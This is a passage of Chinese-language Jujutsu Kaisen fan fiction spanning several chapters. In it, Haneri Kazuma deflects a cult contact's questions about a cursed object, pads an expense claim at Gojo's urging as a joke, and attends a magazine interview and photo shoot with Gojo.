如果不是刚才羽取一真说了一通诅咒师老婆婆的坏话,拐着弯在明面上表了一番教祖大人的忠心,她在说这个单词时,可能甚至已经带上了些许恼怒的情绪。 羽取一真自然是不可能说出“咒物被他吃了, 因为能增加他的实力”这种老实人答案的。 并且, 在抓到上辈子想要算计悟的反派大BOSS之前,他也没打算引起这位教祖的怀疑, 进而被对方排除在核心团队之外。 “那个咒物……” 羽取一真缓缓开口,对着电话另一端回答道。 “被夏油杰私藏了。” 酒见绫子:“……” 酒见绫子:“哈?” “是真的。当时,祓除掉咒灵的我们得到了一块风干腊肉似的脏器, 大约半个巴掌那么大。” 羽取一真的声音沉稳,语速不疾不徐。 哪怕少年时期的声线并不如一周目青年时期的低沉,撒起谎来也十分具有信服力。 “夏油杰说既然将咒物喂给咒灵吃能增加实力,那么他也想试试,能不能喂给自己的咒灵。因此,我们没有选择将这咒物上缴高专。” “而我,你知道的,我按照教祖大人的命令,需要接近夏油杰,获得他的信任。在这方面,我自然全盘听他的,不会反驳半句,以免害我失去好不容易建立起来的信赖关系。” 酒见绫子听得一愣一愣,发现羽取一真说得这些话简直有理有据,她完全找不到任何漏洞。 “所以,咒物目前正在……” 最终,她只能犹犹豫豫的询问一遍结果。 “没错,在夏油杰那里。” 羽取一真淡定的替她总结,半点不显得心虚。 按照御子柴的说法,像他这种惯常没什么表情的家伙,总是会下意识给人一种可靠踏实、沉稳冷静之类的正面特质,根本不会把他往狡诈奸恶那方面考虑。 骗起人来,简直就是一骗一个准。 当然,羽取一真也不认为自己是狡诈奸恶——他只是稍微睁着眼睛说瞎话了点而已。 类比到普通游戏里,就是他在面对反派的质问时,出现了【坦白】、【隐瞒】、【胡诌】和【倒打一耙】之类的回答选项。 难道要他老老实实选择坦白吗?又没成就需要解锁。 何况,说咒物在夏油杰那里才是最稳妥的。 上层那边自然不能主动提夏油杰的报告有问题,这样会暴露他们不仅对整起事件完全知情,私底下还跟诅咒师那边有往来。 教祖那边,羽取一真更是丝毫不担心。 如果那家伙有办法、或者说有其他人能比羽取一真更接近夏油杰,怎么可能还需要安排任务给他? 而酒见绫子,还是他说什么就算什么。 难道她还能去找夏油杰对峙不成? 何况她已经得到了一个充分的、可以给上面交差的理由,完全没必要揪着不放。 她要是揪着不放,羽取一真就会当即选择【倒打一耙】,开始痛斥她是不是不想让教祖大人的任务完成,抢先占领舆论高地。 也就是说,在羽取一真刚才胡诌的整段话里,除了夏油杰的名声有一点点受损以外,没人真的因此受到伤害。 至于夏油杰的名声就无所谓了吧,反正他以后也要去当反派的。 羽取一真毫无心理压力的想道。 “竟、竟然是这样吗……” 酒见绫子显然有点难以置信,但那晚当事人只有夏油杰、羽取一真和一具诅咒师尸体。 夏油杰她是问不到的,尸体也被高专那边处理掉了。 何况…… 她转念一想,教祖大人的要求也只是问出咒物的下落,又没命令她必须收回咒物。 “我会将你说的这些如实禀报给教祖大人,”酒见绫子严肃道,“至于教祖大人如何定夺,我无法干涉。” 羽取一真沉默了片刻。 “你本来也无法干涉吧?”——他开口,“毕竟,你连教祖大人的面都见不……” 嘟嘟—— 电话又被挂断了。 人,有时候真的很容易破防。 羽取一真收起手机,决定酒见绫子要是再打电话来问咒物后续,他就说已经被夏油杰的咒灵吃掉了。 好在,教祖大人似乎是接受了这个解释,也接受了咒物再也找不回来的结果。 酒见绫子没有再来烦他,上层也没有再刻意针对他和夏油杰,再设计一出“非他们去不可”的任务。 不仅如此,他们还重新定了[人偶袭击事件]任务的等级,把它从二级提到准一级,然后额外补偿了一大笔任务津贴。 在填报销明细的时候,羽取一真还把那些买给悟的伴手礼全写上去了,算出一个好大的数字。 咒术界高层的钱,不薅白不薅。 把旁边在老实填报销金额的夏油杰看无语了,好半晌都不知道该说什么。 如果他知道羽取一真在上周目干出的那些事,就会明白,目前的他所做作为已经是相当收敛了。 咒术界的活阎王现在只是想薅他们一点钱而已,简直是大善。 而五条悟把椅子往旁边拖了点,趴在羽取一真的课桌上乐呵呵看他写,还发出一点坏坏的窃笑,怂恿正好算出整数的羽取一真在数字后面多加一个零。 “那帮老家伙早就是老眼昏花,拿个茶杯都哆嗦啦,你多加一个零他们看不出来的,搞不好手一抖就盖章了呢,那就赚到!” 夏油杰:“………” 这位白毛同学的机灵程度,更是有过之而无不及。 夏油杰:“那要是被发现了怎么办?” 五条悟摆摆手:“哎,被发现就说忘记在那个零前面点一个小数点了,帮忙加一下就行,甚至都不用打回来重写。” 夏油杰一整个哽住,发现整套说辞堪称天衣无缝。 当他想劝羽取一真别跟着学坏时,却发现对方眼睛一亮。 “天才!” 他甚至对五条悟的想法赞不绝口,换来后者一个更加神气又骄傲的[瞧你说的,我是天才这件事根本毋庸置疑嘛]的表情。 然后,夏油杰眼睁睁看着这位黑发少年手中的笔在纸上利落一圈,金额后就真的多了个零。 夏油杰:“…………” 真是一个敢想、一个敢做啊! 他总算是明白为什么这两人能玩成好哥们了…… “上课……嗯?杰你这是什么表情?” 夜蛾正道进门时,看见夏油杰正用一种相当微妙的目光,看着脑袋挨脑袋凑在一块的羽取一真和五条悟。 家入硝子则坐在最旁边,一手撑着脑袋,一只手按着手机键盘,对隔壁发生的事情漠不关心。 “啊没事。” 夏油杰回过神,起身将那份报销明细交给夜蛾正道。 五条悟坐回去时,羽取一真也顺便交了他的。 这种惯例流程早就走过不知道多少次了,夜蛾正道只扫了一眼就将它们收在一起,根本没有细看。 毕竟他教的整个年级才四个人,还都是十五、六岁的年龄;而咒术界高层又是类似金字塔顶尖的位置,备受咒术师敬重。 夜蛾正道怎么也没想到,竟然会有学生刚入读高专没两个月,就想着薅金字塔尖的羊毛…… “在上课前,悟和一真。” 夜蛾正道先喊了羽取一真和五条悟的名字,让他们注意听接下来的话。 “你们被安排在这周末做杂志采访,记得提前联络SS事务所,那边会安排工作人员对接你们,以及一些注意事项。” 他将手里的名片发给明显期待起来的五条悟,和依旧沉稳的羽取一真。 SS事务所就是他们上次挂靠的Sigma Six事务所简称,原本只是为了给五条悟和羽取一真的那次任务行个方便,没想到这下真要似模似样的给他们安排一个专访了。 事务所那边倒是完全不介意——反正他们那边能借此大赚一笔钱,有什么好介意的。 至于交给羽取一真和五条悟的这张名片,则是临时安排给他们的一位经纪人,算是给这两位艺能界小白安排一个新手引导,免得到时候出什么问题。 五条家那边对五条悟的任性妄为再如何不满意,也不得不认同他才是唯一的下任五条家主,在排场和体面上不会有半点亏待。 “就是这样,记得不准提咒术界相关的事情。” 夜蛾正道忍不住又叮嘱一遍。 “一真我比较放心,但我不放心的就是你,悟,” 他特意提高声音,再强调一遍,“到时可千万不能乱说!” “知道啦知道啦——” 五条悟拖着软绵绵的尾音回道,对夜蛾老师的担心感到分外不爽。 他只是爱玩而已,又不是真的不知轻重,怎么总一副忧心他闯祸的模样! “那就好。” 夜蛾正道点头。 “随便答答就行了,反正这种采访只会有一次而已。” ——并随口立下了一句flag。 第80章 在这个难得没有任务的周末到来之前, 五条悟和羽取一真先按照夜蛾老师的交代,打电话给名片上的这位经纪人。 名字叫津地智也。 电话一接通,对方就先出声打来招呼, 格外热情。 “是五条先生和羽取先生吧, 哎呀,很荣幸能得到这次带你们的机会呢!” 竟然被年龄大的人称呼为先生……五条悟眨巴了两下眼睛,感觉格外新奇。 “我们需要提前准备些什么吗?” “哈哈哈哈,不用不用,” 津地智也笑得爽朗又亲切,言谈间相当客气。 “到时候我会先给一份采访稿给你们, 大概准备下回答就好啦!” “如果有不想回答的问题也只管告诉我,我会帮忙和杂志那边协商, 让他们换一个或者勾掉采访都可以。” “别紧张别紧张, 只是一次回馈粉丝的个人采访而已。哎呀, 你们真的相当受欢迎哦, 我们这边还堆了很多要转交给你的礼物呢!” 津地智也贴心的说了一长串注意事项,还交代采访前一天记得早点睡觉, 最好还能敷个补水面膜,可以保证第二天用最好的状态来应对杂志拍摄。 挂断电话后,五条悟沉默片刻,问羽取一真。 “你觉得我们需要……嗯, 敷面膜吗?” 羽取一真断然摇头。 “完全没必要。” 游戏包装上的漂亮小悟, 和在游戏里打二周目的他,已经充分证明了这是张多么伟大的脸。 “那就不管了——” 五条悟将手机往旁边一甩, 整个人朝后仰面倒在床上,又懒洋洋滚了半圈,惯例扯过枕头来抱住。 “打游戏打游戏!” 他又高高兴兴的来喊羽取一真跟他一起玩。 正准备回自己宿舍的羽取一真脚步一顿, 从善如流拐了回来,打开电视机、分对方一个手柄,再顺势靠着床边坐下,脑袋的高度正好与趴着的五条悟一致。 五条悟懒得把游戏机在两个宿舍间搬来搬去,索性掏钱买了两部,游戏碟则各放了一部分。 而此刻,他在等游戏加载的过程中,随手拆开一个还没吃完的红豆泥团子,掰成两半,塞给羽取一真一半,自己一口塞完剩下的一半,腮帮都鼓了起来。 在做出这一连串行为时,他的眼睛还盯着屏幕,几乎没有分出太多注意力在手上。 可以说刚才纯粹是无意识动作,或者是这段时间相处下的习以为常。 而羽取一真接过那半个红豆泥团子,也极为自然的吃完了,又舔了舔沾上红豆馅的手指。 他们全程没有任何交流,就好像这些动作是一种早有定论的惯例、是无数次分享后的潜意识行为。 至于羽取一真的[不怎么吃甜食]这种话,他早在很久以前就不说了。 此刻的夕阳斜照,使窗台上那些拇指大小的瓷猫猫在床铺与地板上拉出了长长的逼真倒影,好似真有这么多只小猫活了过来,在这间房里轻盈的、神气的跳跃着,绕着二人打滚、舔毛、扑蝴蝶。 亦如那不时漏出的笑声与愉快的交谈,同样令这短暂一刻被延续得更长、更长。 ………… 到了杂志采访的周末,羽取一真早早就被五条悟敲门喊醒,洗漱穿衣,然后出发去目的地。 羽取一真刚跨出宿舍门,看见他打扮的五条悟就不忍直视的眯起眼。 “你怎么能穿高专制服去采访?” 羽取一真揪起了点衬衫的布料,示意他没有穿外套,而这件纯白色的衬衫也不是什么特别的版型款式,应该没什么关系。 “我特意把外套脱了的。” “那也不行,”五条悟问,“你的常服呢?” 羽取一真用沉默回答了他。 五条悟:“…………” 五条悟抬手比了比二人的身高,发现羽取一真仅比自己略矮一点后,转身就回自己宿舍。 “你等等,我回去拿一件我的给你!” 都是即将登上杂志的酷guy了,怎么能就穿一件这么普通的白衬衫! 不得不承认,无论是28岁的五条悟还是15岁的五条悟,在穿衣打扮上都很有自己的想法。 而且还很酷。 等羽取一真重新换好那身由五条悟精挑细选的装束,再等他后退几步拉开距离,还特意捏着墨镜腿抬起,又用苍瞳上上下下的打量了好几遍,才勉强满意地点点头。 “嗯,这才像话。” “好。” 羽取一真抿起嘴,刚露出有点想笑的表情,就让五条悟大惊失色,连忙挥手让他收回去。 “你现在是个酷哥,记住,你是个面无表情的酷哥,绝对不能笑知道吗,这身衣服就是为酷哥量身定做的,一笑就不帅了!” 难得笑一次,还要被迫收回表情的羽取一真:“……” 他好奇问五条悟:“你穿这身衣服的时候,也完全不笑吗?” 真的假的……这么活泼的漂亮小悟,也有绷紧表情耍酷的时候? “这身是我回五条家穿的,” 五条悟撇了下嘴,光想起来就怪不高兴的。 “一看到那群板着脸冲我说教的老家伙,我就笑不出来了。” “………哧。” “啊,都跟你说别笑!” “好好。” “………” 等五条悟和羽取一真来到高专的山脚下时,SS事务所的经纪人——津地智也已经在轿车边等他们了。 看见两个气场截然不同的帅哥并肩走来,他的眼睛顿时一亮。 “哎呀真不错,相当精神!”他毫不吝啬的夸道,“完全不输于那些当红偶像嘛,你们一定会火的!” “真的吗!” 五条悟也顺势被夸得格外高兴,连那头翘起的纯白毛毛都似乎跟着更加精神了,可爱得要命。 羽取一真盯着那头在阳光下晕出一圈浅淡柔光的轻软白毛,内心有点蠢蠢欲动。 五条悟双手环抱在胸前,对着经纪人的表情依旧笑眯眯的,假装不知道自己正在被某人盯着,隐隐透出一点热切。 哼哼,他果然很有魅力! 这辆专程来接他们的加长款轿车是SS事务所特意准备的,甚至还配备有司机和两位随行助理——即使采访和拍摄地点都在东京,该有的排场也不能少。 随行助理是两位很可爱的小姑娘,一看见五条悟上车,望过来的目光噌一下就亮了。 和电视上播出的一样,果然是个超绝大帅哥! “五条先生是外国人吗?” 等车开动后,其中一位已经忍不住小声问道。 “白色的头发看起来不像染的呢……啊如果感觉很冒昧的话,不回答也可以的!” 毕竟眉毛和睫毛也都是纯白——如果是染发的话,极少会把眉毛和睫毛都一并染色的。 “是天生的哦。” 五条悟捻起垂落在眼前的一撮碎发,笑着满足他们的好奇心,“也不是外国人。” 两位小姑娘发出一点点小声的惊呼,听起来相当惊喜。 羽取一真坐在五条悟身边,心里同样微微点头,非常能理解为什么助理这么开心。 别说日本人,这种全然纯粹的白发是在外国人里都超级稀有的发色。 通常而言,如果不是衰老、疾病或染发,几乎很难见到真正纯白发色的人。 这也意味着——白发蓝瞳的悟,根本就是世界的珍宝啊。 羽取·白毛控·一真,从百分之百发挥了个人主观能动性的角度出发,给出了格外认真的评价。 五条悟的苍瞳微微一偏,落向旁边这位似乎在内心里想了一大堆话的羽取一真身上,不动声色地眯起,连那隐约露出的笑意也显出格外狡黠的味道来。 虽然不知道这小子具体在想什么,但肯定正在心里偷偷夸他吧? 哼哼。 等轿车停在杂志社门口,津地智也带着他们去见这次的采访主编,顺带叮嘱拍摄会在采访结束后开始。 “到时候衣服要换成他们准备的……” “什么,竟然要换掉衣服吗!” 这句话刚开了头,五条悟立刻大惊失色——明明是他给两人精挑细选出来的衣服! “当然,时尚杂志就意味着需要肩负起引领年轻人潮流与审美的责任,有时还会需要给赞助商打广告,” 津地智也耐心解释道,边抬眼去瞧五条悟衣服上的商标logo。 “就算版型还行,怎么说也不能穿着太过廉价的衣服,至少……” 他看着那个明晃晃的奢侈品logo,突然陷入了沉默。 甚至站五条悟旁边的羽取一真也被套了件昂贵的奢侈品在身上——虽然他自己对这方面几乎完全不懂,也不清楚这身衣服的价值。 但对于混迹在艺能界、对奢侈品耳熟能详的津地智也而言,这一幕堪称金钱暴击。 一件上衣,就至少抵他三个月工资…… 不,这种有钱人家的少爷,真的还有必要来上一个区区时尚杂志的采访吗…… 就算去什么财经杂志,也会被人家点头哈腰地鞠躬迎进去的吧? 话说老板一开始怎么叮嘱他来着,[无论什么要求,都尽最大可能的满足。绝对、绝对不能得罪他们]。 他在刚听到这个指示时,还以为是担心那些粉丝不满自家偶像的待遇,会大闹特闹——毕竟开卡车堵事务所门口、送花圈泄愤之类的事情以前也不是没有发生过。 结果,原来是这么回事吗……由于这位的性格过于好相处,让他之前一直都没往那方面想。 “……你想穿这件也没问题。” 面对突然改口、语气明显虚弱下去的经纪人,五条悟眨巴眨巴苍瞳。 嗯?怎么他还没开口,对方就变得这么好说话了? 80-90 第81章 “好耶!” 虽然不太清楚缘由, 但五条悟很高兴自己争取到了不用换衣服的拍照许可,笑得超级开心。 他刚才当然也听见了前半句——不能穿太过廉价的衣服。 害得他还紧张了下,不太能拿得准自己和一真的衣服到底算不算廉价。 他逛街买衣服确实比较随心所欲啦, 不会专挑价格高的买, 也不会给自己规定不能买多少价钱以下的衣服。 简单来说就是,只要款式中意,无论价格多少,他都会高高兴兴的掏钱包付账,仅是因为自己买到了心仪的衣服而觉得愉快。 所以啊,今天他给自己搭配的着装, 以及给羽取一真搭配的,可都是他的最高审美之作! 这两身的价格……忘记了, 但总之都是他超喜欢的! 当然要趁此机会展示给大家看看啦, 怎么能换掉呢! 五条悟将手伸进裤子口袋, 从里面拿出一个没有拆封的红豆泥团子, 塞给津地智也作为谢礼。 “谢啦大叔!” 墨镜后的苍瞳笑弯了起来,连带着那极漂亮的雾蓝也若隐若现, 宛若缥缈浮云半遮半掩下的灿烂晴空。 五条悟多少也知道这种采访及拍摄流程通常是不能被轻易修改的,如果对方愿意为自己破例,那他当然也要表示出谢意才行。 “………” 被强行塞了一个红豆泥团子的津地智也哑然片刻,抬眼看向五条悟。 “怎么会带着这个?” 还是小孩子才会喜欢吃的甜食…… “这可是我等会要吃的点心喔, 特意分给你一个!” 五条悟摇了摇食指, 又补上一句理直气壮的解释。 “塞几个口袋里又看不出来。” 不会在拍照时破坏他的形象啦! 啊不过,看旁边两个随行助理也盯着那个红豆泥团子瞧, 一副也很想尝尝味道的模样——于是,五条悟又大方的也给她们一人分了一个。 “是一真特意从镰仓给我带回来的!” 末了,他还要揽过羽取一真的肩膀强调, 示意此刻的大家能有红豆泥团子吃的功劳,可不是只有他一个人喔。 两位助理妹子捧着被放在掌心里那个团子,眼睛顿时就亮了。 津地智也:“………” 津地智也失笑,也将那个团子放进自己的口袋里,甚至感觉连刚才被暴击后的悲伤心情也瞬间好转。 “那我这边也和你们说声谢谢了啊,正好还没吃早饭。” “哼哼,好说好说,不够我还有。” 真的是个性格很好、非常容易相处的少年啊。 通常而言,文字稿的采访地点是可以变动的。有时为了让被采访者能感觉放松些,还会特意上门拜访。 但由于五条悟和羽取一真还需要进行专业拍摄的关系,在与事务所那边进行过协商之后,杂志社将采访地点定在了自家大本营。 五条悟和羽取一真没什么意见,毕竟上层又不会同意放一群非术师进高专,就为了采访他们。 他们被安排在一间看起来十分舒服的会客室等待。 靠东面的一侧有整扇的大面积落地窗,让那倾泻进来的阳光充足而明亮,连拂起窗帘的微风也显得和煦。 而他们坐下的布艺长沙发也格外柔软,是使人身心放松的温暖米黄色,饱满的填充绒棉让五条悟一陷进去,就忍不住歪倒了半个身子,将脑袋靠在羽取一真的肩膀上。 羽取一真则坐直了些,核心发力令整个身体的支撑更稳,让悟能靠得更舒服。 “呼呼。” 五条悟果然更自在了。 他甚至还懒洋洋打出个呵欠,从口袋里又摸出一小包红豆泥团子,连拆开包装的指尖都失去往日的灵巧,变成了慢吞吞的抠封条。 也不知道那个神奇的、深不见底的裤子口袋里,到底装有多少个红豆泥团子。 抠着抠着,五条悟又打了个呵欠,靠着羽取一真的身体又往下滑了一点,连墨镜也被连带蹭得离了原位,松垮垮的架在鼻尖与耳朵之间。 那头纯白的发丝也细细软软的,被压着翘出了各种弧度——还有些许偏长的,在那幅度轻微的蹭来动去间,不时轻挠下羽取一真的脖颈。 痒痒的,好似一直勾进了他的心底。 羽取一真放在腿上的手指略屈了下,似乎想要去摸。 但最后,他还是放弃了,没有做出任何动作。 枕着人肩膀的五条悟反而微眯起了苍瞳,敏锐察觉到对方的小动作。 嗯?明明怎么看都特别喜欢他的头发,给机会了也不摸? 为什么,担心他生气吗? 不可能吧,他又没明确拒绝过不能摸脑袋欸! 五条悟走神了,甚至从[这小子到底是不是真喜欢他的头发]一直想到[他总不能直说想摸就摸吧,那岂不是显得很没气势],最后变成[他倒要看看对方到底能忍多久]……总而言之乱七八糟的考虑了超级多,甚至因此变得昏昏欲睡。 途中,墨镜又被蹭歪了些,索性被他取下来,镜腿折起,竖着挂在衬衫领口。 如果主编再晚来一点,五条悟可能会真的睡着。 “嗨……羽取和五条对吧?不用细看都能感觉有张相当俊秀的脸呢。” 留着波浪长发的漂亮大姐姐笑着用指节敲了敲门框,示意她来了哦,才迈步走进来。 “我是高汐美和,负责这次采访的编辑。” 她的臂弯间夹着一份采访稿,穿着条知性又优雅的连衣裙,举止间透出一份格外令人放松的亲切感。 “高汐姐姐好。” 五条悟坐直身体,格外有礼貌的和她打招呼。 对敌人嚣张又冷酷,在高专喜欢调皮捣蛋的五条悟,真正面对普通人时,却又是相当遵守礼仪的。 这也并非他刻意区分再摆出的应对态度,只是身处不同环境下,人本来就会呈现出并不完全一致的性格特质。 而羽取一真也很喜欢看到更多情景下的五条悟,那自然而然流露的每一面都是他,每一分细节都是如此鲜明、如此与众不同。 这令人难忘的一切汇总在一起,才构成了他所真正见到的五条悟。 “高汐姐姐好。” 羽取一真也跟着点头,微微欠下身,也和她打了个招呼。 “哎呀,可爱的小家伙们。” 高汐美和唇边的笑意更柔和了。她将笔拿在手中,点了点放在腿上的采访稿。 “拍摄是采访结束后的事情,所以呢,不用太紧张,当我们是在随意聊聊天就好。” “首先是些关于个人的基础了解,比如——两位的年龄是多少?” 说到这里,高汐美和无奈轻叹口气。 “没想到SS事务所连这个也不肯透露,真是过分。” 如果津地智也听到这句话,估计会大呼冤枉——他是不想说吗,明明是他们也不知道啊。 不过,这对于五条悟和羽取一真而言,不算什么必须保密的隐私问题。 五条悟:“15。” 羽取一真:“16。” 五条悟蓦然扭头,盯着羽取一真,换来一双略显困惑的黑瞳,与他无声对视。 什么,这小子竟然比他大? 同样是刚知道羽取一真年龄的五条悟在心底掀起海啸。 ……那他岂不是成了后辈?? 不行不行,怎么能按年龄来算呢,那肯定还是要按进咒术界的时间长短……没错,他还是前辈! 绝对是前辈没错! “竟然是刚上高一的年纪吗?身高上倒是完全看不出来。” 高汐美和略惊讶了下,又想到这两位毕竟是准备出道的偶像组合,那这远超过平均线水准的出挑身材,倒也不显得特别奇怪了。 “有点好奇呢,那你们在平时不上课的休息日时,会做些什么呢?”高汐美和笑着举例,“比如上周末。” 五条悟想了想,发现自己最近几个周末都被任务占据。 羽取一真也沉默了。 不对劲啊,突然感觉高专这只要有任务就日夜连轴、周末也几乎不放假的作息,怎么比一周目那帮给他种地的老头还累。 “嗯……旅游?” 实际是出差。 “做点环境清洁类的事情?” 咒灵清理一空,怎么不算是环境清洁。 这种略显迟疑的语气,如果换成普通的采访,肯定是要往下追问的。 但高汐美和显然也被交代过一些事情,此刻仍然保持着亲切的笑容,在几笔写完答案之后,就顺势过度到了下一个问题。 “确实都是放松心情的好选择呢。其实粉丝们,包括我也很好奇,”她出声问道。 “在整蛊综艺大赛里,你们明明拿下了优胜,却最后选择将名额让给了佐木杏理。是有什么特殊的原因吗?” 毕竟想要出道的新人,应该不会放过任何一个机会,更别提将这种涨名气的好资源拱手相让。 而现在的杂志专访,可以说是粉丝们的呼声太高,才破例向羽取一真和五条悟做出的邀请——但在一开始,他们也不知道自己能有第二次机会吧? 对于这个问题,五条悟眼也不眨的就回答了。 “想做就做啦,在听说她姐姐前段时间出过事后。” “完全不考虑自己能不能再获得类似的机会?” “为什么要去考虑那些事情嘛。” 这句回答在五条悟这里,是[他们压根不会真的出道当偶像];但在高汐美和这边听来,则是[为了帮助佐木杏理,放弃自己的资源也毫不犹豫]。 高汐美和的笑意更柔和了。 她心里瞬间勾勒出了一个大概的腹稿。 “那么,我们再来聊点轻松的话题,”她笑着问,“两个人都可以回答哦。嗯……例如,羽取君最喜欢五条君的哪个方面?” “全部。” 羽取一真答得比刚才的五条悟还要不假思索。 五条悟的苍瞳随之一亮。 “……咳,”高汐美和忍着笑轻咳一声,“那五条君呢?” 这句话问的很笼统,没有明说是五条悟喜欢羽取一真的哪方面,还是五条悟喜欢自己的哪方面。 但五条悟的答案是—— “全部!” 第82章 整段采访并不长, 大多都是些相当宽泛的、围绕个人兴趣爱好展开的问题。 例如[心情低落时会听什么音乐]、[喜欢吃的食物]、[不擅长的活动]、[如果有机会,最想去的地方是哪里]之类。 毕竟这次采访的目的是给粉丝一个深入了解偶像的机会,而不是要讨论些深刻的政治或哲学问题, 然后看粉丝们也开始隔空对吵。 拍摄部分则更简单了——用骄傲小悟的话来说, 他的任何角度拍起来都好看! 摄影师表示了赞同。 甚至夸赞了五条悟的穿搭品味,二人的气质都被烘托得很绝妙,哪怕直接登上杂志封面也没关系,完全不需要再另外换装。 但在途中,他不得不几次停下,让羽取一真收敛下那与冷淡气场过于不搭的轻快表情。 “…抱歉。” 被御子柴称为冷面酷哥、甚至在一周目被起了个“活阎王”外号的羽取一真, 此刻唇边的笑意是如此明显,以至于跟他站在一起的五条悟都用手肘偷偷拱他, 示意快点板起脸。 可恶, 别笑啦! 羽取一真露出一点无辜的神色, 然后乖乖照做。 摄像机的快门一闪, 将这一幕分毫不差的记录下来。 到这里为止,他们的整个采访流程就彻底结束, 之后等杂志印刷好,会先送一份样刊到他们手上。 确切地说,只能先送到SS事务所,再由SS事务所交给他们。 至于后续还会不会有采访…… “期待我们的下次合作。” “肯定肯定。” 高汐美和笑着向津地智也伸出手, 对方也配合握住摇了摇, 口吻十分恭敬。 “这两个小家伙的采访能如此顺利,也多亏美和姐啊。以后还请多关照!” “嗯?” 站旁边的五条悟稀奇道, “还有下次?” 夜蛾老师不是说这种采访就只有一次,所以随便回答下就好了嘛? “当然啦。你们一定会出名的,未来的大明星们。” 高汐美和转过头时, 还朝他们眨了眨眼,亲近态度里还透着点好笑的揶揄。 “你们对自己如今的火爆程度,难道是一无所知吗?” “………” 压根不关注娱乐方面内容的五条悟和羽取一真,完全回答不上来。 “哈哈哈,我打赌等这次杂志出版后,就算你们不主动找资源,资源也会被双手送上门的。” 津地智也拍了拍二人的肩膀,和高汐美和告别。 别说高汐美和,就连他对这两个少年的好感度,也在这一天的相处时间里猛猛上涨。 有些艺人非常难搞,尤其是涉及到公众形象展示的时候,要求又多又刁钻,有时两三个助理都不够用,需要雇佣一个团队专门绕着那位转才行。 这也是为什么津地智也过来的时候,专门给他们配了两位随行助理。 结果完全没用上啊,还倒蹭了对方两个红豆泥团子。 津地智也有点想笑,暗自决定等回去就跟老板争取一下,以后都由他来带五条悟和羽取一真好了。 ——等出了杂志社大门,津地智也问羽取一真和五条悟。 “你们要直接回学校吗?” 看了眼天色还早,好不容易来趟东京市区的五条悟果断摇头。 “我们自己逛。” 别看咒术高专也在东京,地理位置实际上超级偏的,都快住进深山里去了,附近什么娱乐设施也没有,整片地区一到晚上就变得黑漆漆的。 “打算在这里逛的话……” 津地智也让他们等一下,自己先去车里翻出一顶棒球帽,扣在五条悟的脑袋上。 “你的发色太显眼了,很容易被粉丝认出来。” 津地智也叮嘱道,顺便用手机给他们发了个网址,“有空的时候,可以看看自己到底有多受欢迎。” “咦……这样吗。” 道过谢的五条悟又接手调整了下棒球帽的位置,确保能将大部分头发都藏起来,还不遮挡视线。 临走前,身为经纪人的职业习惯发作,津地智也还贴心的对他们建议道。 “啊顺带,你们之后也该考虑往哪个方向发展——总不会当杂志模特吧?走偶像或者演员、歌手的路都可以。” 说到这里,他的话停顿片刻,问五条悟和羽取一真,“你们擅长唱歌吗?” “超会!” 五条悟朝他比出一个得意的拇指。 “不会。” 羽取一真摇头。 津地智也哈哈笑了两声,并不意外这个结果——有些偶像唱的歌也并没有多么好听,但只要人设立的好,粉丝也照样会为了握手券而大批量购入CD。 “总之呢,你们可以慢慢考虑。粉丝的期待值可是很高的喔,无论你们到时候决定出现在舞台上,还是荧幕里。” 说完他就挥挥手算作道别,坐进轿车里离开了。 留下五条悟沉吟片刻,才转过视线,对着羽取一真摆出了慢半拍的大惊失色。 “什么,你竟然不会唱歌?” 但那双苍瞳里隐隐流露出的,是根本藏不住的雀跃与期待,看起来完全不像是惋惜羽取一真不会唱歌的模样。 “这可不行啊,要特训呢,等会我们就去唱卡拉OK吧!” 这语气,一听就知道超来劲。 羽取一真:“…………” 感觉是特别期待他到底唱得有多跑调…… “把杰和硝子也叫上,唱歌的话,人要多一点才热闹嘛。” 五条悟嘀咕出声,想到就做的他立刻哒哒哒按了几下手机键盘,打过去两通电话。 “喂喂,杰来唱卡拉OK呗,难得周末休息——没错没错,就是那个地址!” “硝子,来唱卡拉OK啦,就差你一个了——好耶,等你哦!” 羽取一真沉默。 会听到他跑调的人增加了…… “好啦,他们坐车过来,要大半个小时才能到呢。” 完全藏不住表情里期待的五条悟收起手机,又捏着棒球帽檐调整了下。 “我们先去逛街,给你买几身衣服——” 羽取一真怔了下:“嗯?给我买吗?不用……” “说什么傻话,之前还以为你是喜欢穿高专制服才一天到晚都是那两件轮换来着,没想到是根本没有其它衣服啊。” 五条悟拦了辆出租车,带着羽取一真就往他平时习惯去购物的商业街方向开去。 “确实还挺喜欢穿的。” 羽取一真老实回答,换来那双苍蓝雾瞳的一瞪,明显写着[我才不听你狡辩]。 毕竟和漂亮小悟的高专制服是同款。 而且上周目的悟会带他买衣服,是因为他当时为了隐藏行踪,需要住进对方公寓里,但什么衣物都没准备。 但这周目的悟,完全没必要特意带他去买衣服吧? 毕竟,他也没有像上周目那样,一见面就表示想和对方结婚,并为了这个目标而不断努力…… 理论上来说,他和这周目的漂亮小悟,除了是同学以外,什么关系也没有。 “为什么会想要给我买衣服?” 不会将疑问埋在心底的羽取一真,坦率将这个问题问了出来。 “什么为什么……” 五条悟的表情明显卡顿了下,在那一瞬间,露出了好似有点微妙的心虚,又率先自我乱了阵脚,想要抬手掩饰,又在刚举起了一点,就僵硬的拐了弯,撑在车窗边沿。 就像猫猫在慌乱时会假装自己很忙一样,此刻的五条悟也先似模似样的摆出一副他临时起意,想要欣赏窗外风景的姿态。 连视线也不往羽取一真那边瞥了,而是专注朝着另一边。 但五条悟的心理素质能力也极佳,几乎是立刻就将语气调整过来——除去有一点点刻意的压低,变得格外正经。 “咳,嗯,就当我体贴又善良,超关照同学的!” 其实,就连他自己也不清楚真正的缘由。 只是在刚才,这句话下意识就脱口而出了。 就像他下意识的将对方划入自己的注意力范围内,认定无论如何,自己都不能容忍对方陷入生活困顿那般—— 这个想法是如此自然的诞生在他心底。 也无法再被抹去。 第83章 看着五条悟难得慌乱些许的模样, 羽取一真没有继续追问,而是认真道谢。 换句话说,他在这个问题上, 其实也并没有打算非要索求到一个准确的答案不可。 五条悟口中含糊应了两声, 脑袋还朝外盯着一辆接一辆飞速掠过的轿车瞧,好似这场景忽然变得新奇又有趣。 而后,他越琢磨越不对劲。 ……不对啊,怎么说也只是普通的送好哥们几件衣服而已吧? 为什么反而变成他格外心虚了? 后知后觉的五条悟,在心底暗暗磨牙。 就算他以前没有这么做过,也不等于现在不可以做嘛, 他就是突然想送对方衣服穿,又怎么样? 怎么能被那小子一句话就问乱了阵脚, 搞得他现在反而不上不下的, 那种胸口堵着棉花糖的感觉又浮现出来了… 可恶啦, 迟早要反过来也让他心虚一次! 快到路口了, 五条悟瞪着窗外那些停停走走的轿车,越瞪越对自己这样避开对视, 首先就让气势输掉半截的现状感到不满。 